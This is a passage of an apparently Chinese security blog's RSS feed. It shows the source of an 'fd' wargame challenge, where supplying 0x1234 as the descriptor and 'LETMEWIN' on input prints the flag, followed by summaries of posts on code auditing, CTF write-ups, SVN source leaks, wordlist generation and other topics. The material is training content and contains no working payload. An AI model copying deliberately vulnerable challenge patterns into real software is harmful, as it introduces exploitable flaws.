&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfed6e2ee.jpg" alt=""&gt;
&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfedb236f.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;登录上之后查看当前目录文件，发现有三个文件&lt;code&gt;fd&lt;/code&gt;,&lt;code&gt;fd.c&lt;/code&gt;，&lt;code&gt;flag&lt;/code&gt;，分别查看一下内容，&lt;code&gt;cat flag&lt;/code&gt;发现无权限，fd也就是fd.c编译后的可执行文件。
&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfedd0990.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;flag.c&lt;/code&gt;内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-C" data-lang="C"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;pass argv[1] a number&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x1234&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;LETMEWIN&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;good job :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/bin/cat flag&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;learn about Linux file IO&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;解题点：&lt;/p&gt;</description></item><item><title>php代码审计基础篇</title><link>https://saucer-man.com/information_security/94.html</link><pubDate>Sun, 20 Jan 2019 14:05:00 +0000</pubDate><guid>https://saucer-man.com/information_security/94.html</guid><description>&lt;h2 id="0-前言"&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;打算寒假学习代码审计和pwn，但是pwn真的是对人太不友好了，在这靠抖取暖的寒冬里大概看完了尹毅的《代码审计 企业级web代码安全架构》，虽然书有好几年了，但是里面的漏洞挖掘思路还是很友好的。写的一气呵成，看的也很过瘾，这里记录一波，打好基础。&lt;/p&gt;</description></item><item><title>[代码审计] Code-Breaking Puzzles Writeup</title><link>https://saucer-man.com/information_security/93.html</link><pubDate>Wed, 16 Jan 2019 05:49:00 +0000</pubDate><guid>https://saucer-man.com/information_security/93.html</guid><description>&lt;h2 id="0-前言"&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;Code-Breaking Puzzles 是一场完全开放源代码的Web解密游戏，其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。地址为https://code-breaking.com/&lt;/p&gt;
&lt;p&gt;每个题目的知识点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1.function PHP函数利用技巧&lt;/li&gt;
&lt;li&gt;2.pcrewaf PHP正则特性&lt;/li&gt;
&lt;li&gt;3.phpmagic PHP写文件技巧&lt;/li&gt;
&lt;li&gt;4.phplimit PHP代码执行限制绕过&lt;/li&gt;
&lt;li&gt;5.nodechr Javascript字符串特性&lt;/li&gt;
&lt;li&gt;6.javacon SPEL表达式沙盒绕过&lt;/li&gt;
&lt;li&gt;7.lumenserial 反序列化在7.2下的利用&lt;/li&gt;
&lt;li&gt;8.picklecode Python反序列化沙盒绕过&lt;/li&gt;
&lt;li&gt;9.thejs Javascript对象特性利用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;水平不够，参考了别人的文章和wp以学习为主，这篇文章介绍了前五题的wp，有问题欢迎指出。&lt;/p&gt;</description></item><item><title>[编译原理] 简易计算式的翻译程序设计</title><link>https://saucer-man.com/else/92.html</link><pubDate>Mon, 07 Jan 2019 13:20:00 +0000</pubDate><guid>https://saucer-man.com/else/92.html</guid><description>&lt;p&gt;这篇文章记录一下最近写的编译原理实习，因为时间紧急(拖延)，所以没有实现本来计划的C语言翻译程序，只是实现了计算式的翻译。用的是python语言 (如果时间足够还是用lex和yacc专业工具比较好)。&lt;/p&gt;
&lt;p&gt;先来看一下结果：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfea7910b.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;输入一个计算式，如&lt;code&gt;1+9-19/2+32&lt;/code&gt;输出中间代码四元式。&lt;/p&gt;</description></item><item><title>KNN算法及利用KNN检测异常操作</title><link>https://saucer-man.com/machine_learning/91.html</link><pubDate>Tue, 01 Jan 2019 10:17:00 +0000</pubDate><guid>https://saucer-man.com/machine_learning/91.html</guid><description>&lt;h2 id="1-knn算法"&gt;1 KNN算法&lt;/h2&gt;
&lt;h3 id="11-knn简介"&gt;1.1 KNN简介&lt;/h3&gt;
&lt;p&gt;K近邻算法的核心思想可以用一句很多文化中都有的古语概括：近朱者赤近墨者黑。评价一个人，一般从它的朋友就可以得知，因为一般和小混混整天呆在一起的就是小混混，和小学生一起玩的一般也是个小学生。KNN的基本思路也是这样，如果一个待分类的样本在样本空间中的K个最相近的样本中的大多数属于某个类别，那么该样本也属于这个类别。&lt;/p&gt;</description></item><item><title>汇编常用语句总结</title><link>https://saucer-man.com/else/90.html</link><pubDate>Sat, 29 Dec 2018 12:57:00 +0000</pubDate><guid>https://saucer-man.com/else/90.html</guid><description>&lt;p&gt;本文总结的汇编语言是针对IA-32处理器也就是X86体系结构的32位版本。但是在不同的体系结构中，汇编语句大同小异。&lt;/p&gt;
&lt;h3 id="1传送指令"&gt;1.传送指令&lt;/h3&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;指令&lt;/th&gt;
 &lt;th&gt;解释&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;MOV DESC,SRC&lt;/td&gt;
 &lt;td&gt;传送指令，SESC &amp;lt;= SRC&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;XCHG OPRD1，OPRD2&lt;/td&gt;
 &lt;td&gt;交换指令，将OPRD1，OPRD2内容互换&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PUSH&lt;/td&gt;
 &lt;td&gt;压栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;POP&lt;/td&gt;
 &lt;td&gt;出栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PUSHA&lt;/td&gt;
 &lt;td&gt;16个寄存器全进栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;POPA&lt;/td&gt;
 &lt;td&gt;将16个寄存器全出栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PUSHAD&lt;/td&gt;
 &lt;td&gt;32个通用寄存器全进栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;POPAD&lt;/td&gt;
 &lt;td&gt;32个通用寄存器全出栈&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="2算术运算指令"&gt;2.算术运算指令&lt;/h3&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;指令&lt;/th&gt;
 &lt;th&gt;解释&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;ADD DESC,SRC&lt;/td&gt;
 &lt;td&gt;加法指令，DESC &amp;lt;= DESC+SRC&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ADC DEST,SRC&lt;/td&gt;
 &lt;td&gt;带进位加法指令，DESC &amp;lt;= DESC+SRC+CF&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SUB DESC,SRC&lt;/td&gt;
 &lt;td&gt;减法指令，DESC &amp;lt;= DESC-SRC&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SBB DESC,SRC&lt;/td&gt;
 &lt;td&gt;带错位减法指令，DESC &amp;lt;=DESC-(SRC+CF)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;INC DEST&lt;/td&gt;
 &lt;td&gt;加1指令，DEST &amp;lt;= DEST+1&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;DEC DEST&lt;/td&gt;
 &lt;td&gt;减一指令DEST &amp;lt;= DEST-1&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;NEG OPED&lt;/td&gt;
 &lt;td&gt;取补指令，OPRE &amp;lt;= 0-OPRD&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MUL OPRD&lt;/td&gt;
 &lt;td&gt;无符号数乘法&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;IMUL OPRD&lt;/td&gt;
 &lt;td&gt;有符号数乘法&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;DIV OPRD&lt;/td&gt;
 &lt;td&gt;无符号数除法&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;IDIV OPRD&lt;/td&gt;
 &lt;td&gt;有符号数除法&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3逻辑与位运算指令"&gt;3.逻辑与位运算指令&lt;/h3&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;指令&lt;/th&gt;
 &lt;th&gt;解释&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;CWD/CWDE&lt;/td&gt;
 &lt;td&gt;字转换为双字指令,符号扩展&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;CDQ&lt;/td&gt;
 &lt;td&gt;双字转换为四字指令&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MOVSX DEST,SRC&lt;/td&gt;
 &lt;td&gt;符号扩展传送指令，将SRC符号扩展后送至DEST&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MOVZX DEST,SRC&lt;/td&gt;
 &lt;td&gt;零扩展传送指令，将SRC零扩展后送至DEST&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;NOT OPRD&lt;/td&gt;
 &lt;td&gt;按位取反&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;AND DEST,SRC&lt;/td&gt;
 &lt;td&gt;按位与送到DEST&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;OR DEST，SRC&lt;/td&gt;
 &lt;td&gt;按位或送到DEST&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;XOR DEST,SRC&lt;/td&gt;
 &lt;td&gt;按位异或送到DEST&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;TEST DESC,SRC&lt;/td&gt;
 &lt;td&gt;按位与，但是不送到DEST，仅影响状态标志&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SAL/SHL OPRD count&lt;/td&gt;
 &lt;td&gt;算术左移/逻辑左移(同)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SAR/SHR OPRD count&lt;/td&gt;
 &lt;td&gt;算术右移/逻辑右移(同)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ROL OPRD count&lt;/td&gt;
 &lt;td&gt;循环左移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ROR OPRD count&lt;/td&gt;
 &lt;td&gt;循环右移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RCL OPRD count&lt;/td&gt;
 &lt;td&gt;带进位循环左移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RCR OPRD count&lt;/td&gt;
 &lt;td&gt;带进位循环右移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SHLD OPRD1,OPRD2,count&lt;/td&gt;
 &lt;td&gt;双精度左移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SHRD OPRD1,OPRD2,count&lt;/td&gt;
 &lt;td&gt;双精度右移&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4状态标志操作指令"&gt;4.状态标志操作指令&lt;/h3&gt;
&lt;p&gt;从最早的Inter 8086 CPU开始，就有6个状态标志，这六个状态标志分别是进位标志CF、零状态标志ZF、符号标志SF、溢出标志OF、奇偶标志PF和辅助进位标志AF。&lt;/p&gt;</description></item><item><title>创建好玩的banner</title><link>https://saucer-man.com/else/86.html</link><pubDate>Sat, 15 Dec 2018 17:43:00 +0000</pubDate><guid>https://saucer-man.com/else/86.html</guid><description>&lt;p&gt;我们知道对于大部分程序都拥有属于自己的banner，比如metasploit每次启动都会出现不同的图案，有时是一头牛，有时优势其他特殊的字符。&lt;/p&gt;
&lt;p&gt;那么我们如果也想在程序中增加banner作为版权或者纯属好玩该怎么做呢？当然手写是不行的，这里就给大家列举一下怎么去生成想要的ASCII字符。&lt;/p&gt;</description></item><item><title>艰难的破解入门</title><link>https://saucer-man.com/information_security/85.html</link><pubDate>Sat, 08 Dec 2018 11:08:00 +0000</pubDate><guid>https://saucer-man.com/information_security/85.html</guid><description>&lt;p&gt;破解软件一直是想学的内容，可是一直觉得汇编水平太差，迟迟没入这个门，最近决定跟着恒大的教程走一遍入个门。选择爱破解而不是吾爱破解的教程的原因还是觉得吾爱破解的教程比较难懂，对新手不太友好。&lt;/p&gt;
&lt;p&gt;每次写个文章都要说点废话，啰里啰唆的~&lt;/p&gt;</description></item><item><title>SELinux从入门到放弃</title><link>https://saucer-man.com/operation_and_maintenance/84.html</link><pubDate>Wed, 05 Dec 2018 07:25:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/84.html</guid><description>&lt;h2 id="0前言"&gt;&lt;strong&gt;0.前言&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;关于SELinux，网上的中文资料不多，有水平的文章也没见到几篇，很多文章就是开了个头，没有深入介绍SELinux。这几周也算是看了一些关于SELinux的论文和文章，但是远没到课程要求的阅读源码的阶段。感觉架构和原理都没有弄清楚，于是停下来理理思路，做做记录。这篇blog打算是先介绍一下SELinux，分析一下其实现原理和架构，然后简单的操作一番加深理解。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;很多东西也是一边接触一边学习，难免有疏漏错误之处，如果有问题还请留言交流。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>python实现RSA算法</title><link>https://saucer-man.com/cipher/83.html</link><pubDate>Wed, 28 Nov 2018 08:20:00 +0000</pubDate><guid>https://saucer-man.com/cipher/83.html</guid><description>&lt;p&gt;RSA是一种公钥密码算法，其影响力我就不多说了，算法原理网上多的是，看了几篇，还是觉得阮一峰写的好懂。&lt;/p&gt;
&lt;p&gt;可阅读下面文章来了解RSA算法。
&lt;a href="http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html"&gt;&lt;strong&gt;RSA算法原理（一）&lt;/strong&gt;&lt;/a&gt;
&lt;a href="http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html"&gt;&lt;strong&gt;RSA算法原理（二）&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;要想实现RSA，其关键在于大数运算，无论是大数之间的加减乘除还是模幂运算，都是普通的数据结构无法完成的，如果你是使用C语言来实现，那么你还需要首先解决五百位数字的加减乘除问题。&lt;/p&gt;</description></item><item><title>MYSQL数据库查询语句</title><link>https://saucer-man.com/sql/82.html</link><pubDate>Fri, 23 Nov 2018 06:21:00 +0000</pubDate><guid>https://saucer-man.com/sql/82.html</guid><description>&lt;p&gt;今天我们不来脱库（留下了没技术的眼泪），而来学习一番数据库的查询。什么？数据库的查询语句还不是小菜一碟，高手请直接绕过。&lt;/p&gt;
&lt;p&gt;本文章主要介绍单表查询(条件，排序，统计，分组)和多表查询(内连接，外连接，合并查询，子查询)。如果只是简单浏览，可以跳过建立数据库这一部分。&lt;/p&gt;</description></item><item><title>关于python3进程池传参队列的问题</title><link>https://saucer-man.com/python/81.html</link><pubDate>Sun, 28 Oct 2018 14:36:00 +0000</pubDate><guid>https://saucer-man.com/python/81.html</guid><description>&lt;p&gt;最近打算没事就写个python脚本来巩固一下，最后完成一个完整的渗透测试框架。但是我发现python在io和网络方面的速度实在是太慢了，于是就要使用到多进程和多线程，但是关于进程池的传参问题，我遇到了一个问题。&lt;/p&gt;</description></item><item><title>python输出内容高亮</title><link>https://saucer-man.com/python/80.html</link><pubDate>Sat, 20 Oct 2018 09:20:00 +0000</pubDate><guid>https://saucer-man.com/python/80.html</guid><description>&lt;p&gt;因为需要美化脚本在网上看到的, 搬过来以后有需要直接copy美滋滋&amp;hellip;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;copy自https://blog.csdn.net/qianghaohao/article/details/52117082?utm_source=blogxgwz2&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>利用kali工具crunch来生成字典</title><link>https://saucer-man.com/information_security/78.html</link><pubDate>Fri, 12 Oct 2018 05:46:00 +0000</pubDate><guid>https://saucer-man.com/information_security/78.html</guid><description>&lt;p&gt;Crunch是一种创建密码字典工具，该字典通常用于暴力破解。kali默认会安装这个软件。&lt;/p&gt;
&lt;p&gt;首先打开kali，输入：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root@kali:~# crunch
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>SVN源码泄露漏洞</title><link>https://saucer-man.com/information_security/76.html</link><pubDate>Wed, 10 Oct 2018 05:40:00 +0000</pubDate><guid>https://saucer-man.com/information_security/76.html</guid><description>&lt;p&gt;svn泄露漏洞，古老但是偶尔遇到，在交流群里看到有人分享，简单记录一波。&lt;/p&gt;
&lt;h2 id="关于svn泄露漏洞"&gt;关于svn泄露漏洞&lt;/h2&gt;
&lt;p&gt;摘抄一下其他博客的内容，来源&lt;a href="https://www.cnblogs.com/staffyoung/p/5773998.html"&gt;&lt;em&gt;&lt;strong&gt;点击这里&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SVN（subversion）是源代码版本管理软件，造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息。但一些网站管理员在发布代码时，不愿意使用‘导出’功能，而是直接复制代码文件夹到WEB服务器上，这就使.svn隐藏文件夹被暴露于外网环境，黑客可以借助其中包含的用于版本信息追踪的‘entries’文件，逐步摸清站点结构。”（可以利用.svn/entries文件，获取到服务器源码、svn服务器账号密码等信息）&lt;/p&gt;
&lt;p&gt;更严重的问题在于，SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本（低版本SVN具体路径为text-base目录，高版本SVN为pristine目录），如果服务器没有对此类后缀做解析，黑客则可以直接获得文件源代码。&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>LSB隐写实现</title><link>https://saucer-man.com/information_security/75.html</link><pubDate>Sun, 30 Sep 2018 14:59:00 +0000</pubDate><guid>https://saucer-man.com/information_security/75.html</guid><description>&lt;p&gt;关于LSB隐写，接触过信息隐藏的同学都应该直到，这里就不多介绍了。&lt;/p&gt;
&lt;p&gt;将字符串嵌入图片可以顺序选取像素点，也可以随机选取像素点。下面我们依次来实现每种算法。&lt;/p&gt;
&lt;h2 id="1-顺序嵌入"&gt;&lt;strong&gt;1. 顺序嵌入&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;顺序嵌入很简单，遍历每个像素点，然后将二进制嵌入最后一位即第八位即可。&lt;/p&gt;
&lt;p&gt;为了写报告，我还画了一个流程图，这里贴上来方便理解：&lt;/p&gt;</description></item><item><title>About</title><link>https://saucer-man.com/about.html</link><pubDate>Sun, 23 Sep 2018 06:39:00 +0000</pubDate><guid>https://saucer-man.com/about.html</guid><description>&lt;h2 id="关于我"&gt;关于我&lt;/h2&gt;
&lt;p&gt;wechat:&lt;/p&gt;
&lt;img src='https://saucer-man.com/usr/uploads/2024/07/479950046.png' style='height:400px;' /&gt;
&lt;h2 id="关于本站"&gt;关于本站&lt;/h2&gt;
&lt;p&gt;这里主要用来记录一些技术学习的笔记，若年代久远，不保证内容完全正确。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文章不允许转载&lt;/strong&gt;，如有订阅本博客的需要，可以使用&lt;a href="https://saucer-man.com/index.xml"&gt;RSS链接&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="友链"&gt;友链&lt;/h2&gt;
&lt;p&gt;这里是我的朋友们，也欢迎您来交个朋友。(请先添加本站为友链)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.hacking8.com"&gt;小草窝&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mrxn.net/"&gt;Mrxn&amp;rsquo;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.yanand.me/"&gt;Terry&amp;rsquo;s blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://v3u.cn"&gt;刘悦的技术博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cnblogs.com/daiorz/"&gt;暮日温柔&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://huyuanzhi2.github.io"&gt;dazhige&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forever404.cn"&gt;Forever404&amp;rsquo;s blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://it3q.com/"&gt;呱牛笔记&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zgao.top/"&gt;Zgao&amp;rsquo;s blog&lt;/a&gt;&lt;/li&gt;
